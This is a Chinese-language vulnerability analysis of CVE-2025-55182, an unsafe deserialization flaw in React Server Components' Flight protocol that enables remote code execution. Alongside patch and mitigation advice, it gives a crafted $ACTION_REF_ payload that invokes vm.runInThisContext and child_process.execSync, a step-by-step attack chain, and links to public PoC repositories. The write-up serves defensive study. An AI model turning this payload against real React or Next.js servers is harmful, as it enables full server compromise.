React 框架 CVE-2025-55182 RCE CVSS 10.0分析
字数 1772 2025-12-05 12:07:43
React框架CVE-2025-55182 RCE漏洞分析教学文档
一、漏洞概述
CVE编号:CVE-2025-55182
CVSS评分:10.0(最高危)
影响范围:React 19及所有Next.js 15/16项目
漏洞类型:远程代码执行(RCE)
根本原因:React Server Components的Flight协议存在不安全反序列化
二、技术背景
2.1 React Server Components介绍
React Server Components是React 18实验阶段提出、React 19正式稳定的革命性特性,实现了"服务器上直接执行代码、客户端只收纯HTML"的架构模式。
2.2 Server Actions工作机制
async function addToCart(itemId: string) {
'use server'; // 标记为服务器执行
await db.cart.add(currentUserId, itemId);
}
// 客户端调用
<form action={addToCart}>
<input name="itemId" />
<button>加入购物车</button>
</form>
执行流程:
- 客户端提交表单数据
- React将函数调用序列化,通过Flight协议传输到服务器
- 服务器反序列化后直接执行对应函数
三、漏洞详细分析
3.1 漏洞核心机制
React Server Components + Server Actions会将前端提交的FormData中的$\$ACTION_ID字段映射到服务器上的真实函数。decodeAction函数负责:
- 从formData找到action字段
- 从serverManifest找到模块名
- 动态
require()模块 - 返回模块里的函数引用
3.2 关键代码分析
exports.decodeAction = function(body, serverManifest) {
var formData = new FormData(), action = null;
body.forEach(function(value, key) {
if (key.startsWith("$ACTION_")) {
if (key.startsWith("$ACTION_REF_")) {
value = "$ACTION_" + key.slice(12) + ":";
value = decodeBoundActionMetaData(body, serverManifest, value);
action = loadServerReference(serverManifest, value.id, value.bound);
} else if (key.startsWith("$ACTION_ID_")) {
value = key.slice(11);
action = loadServerReference(serverManifest, value, null);
}
} else {
formData.append(key, value);
}
});
return action?.then(fn => fn.bind(null, formData));
};
3.3 Action字段类型分析
3.3.1 $ACTION_REF_类型
允许客户端伪造action实例和bound参数,创建新的action实例:
$ACTION_REF_999=1
$ACTION_999:0=hello
$ACTION_999:1=world
解析结果:
{
id: "999",
bound: ["hello", "world"]
}
3.3.2 $ACTION_ID_类型
用于模块调用,如修改密码功能:
<form action={updatePassword}>
<input type="password" name="newPassword" />
<button type="submit">Update Password</button>
</form>
生成:$ACTION_ID_UserActions.updatePassword = ""
3.4 利用Node.js vm模块实现RCE
3.4.1 vm模块关键方法
- runInThisContext:在当前上下文执行代码,可访问全局变量
- runInNewContext:在隔离的沙箱环境中执行代码
3.4.2 利用process对象
// 恶意payload构造
{
id: "vm#runInThisContext",
bound: ["global.process.mainModule.require('child_process').execSync('calc').toString()"]
}
process对象关键属性:
| 属性 | 作用 |
|---|---|
| process.env | 环境变量 |
| process.cwd() | 当前工作目录 |
| process.pid | 进程ID |
| process.version | Node.js版本 |
| process.platform | 操作系统 |
| process.argv | 命令行参数 |
| process.exit() | 退出进程 |
| process.memoryUsage() | 内存信息 |
| process.mainModule | 当前程序入口模块(最危险) |
3.5 完整攻击链
客户端构造恶意multipart/form-data
↓
decodeAction反序列化出恶意服务器函数(actionFn)
↓
服务端认为它是正常业务action
↓
actionFn({message: ..., user: ...})
↓
函数内部执行攻击者构造的payload
↓
vm.runInThisContext/Function/require
↓
child_process.execSync("calc")
↓
RCE成功
四、漏洞验证与测试
4.1 测试环境搭建
参考POC项目:
- https://github.com/ejpir/CVE-2025-55182-poc
- https://github.com/sudo-Yangziran/CVE-2025-55182POC
4.2 关键测试点
- 验证$ACTION_REF_字段的伪造能力
- 测试bound参数注入可行性
- 验证vm模块的可访问性
- 测试命令执行效果
五、修复方案
5.1 版本升级
Next.js用户:根据主版本号升级到相应补丁版本
React原生用户:确保升级以下包到安全版本:
- react
- react-dom
- react-server-dom-*
5.2 临时缓解措施
- WAF拦截:检测和拦截恶意Action字段
- 输入验证:严格校验Action ID格式和范围
- 模块白名单:限制可动态加载的模块范围
5.3 安全加固建议
- 禁用不必要的Node.js内置模块
- 实施最小权限原则运行应用
- 加强服务器端输入验证和过滤
- 定期更新依赖包到最新安全版本
六、总结
CVE-2025-55182是React生态系统中极其严重的安全漏洞,其根本问题在于Flight协议的反序列化机制缺乏足够的安全控制。开发人员应立即采取修复措施,并重新评估Server Components架构的安全性设计。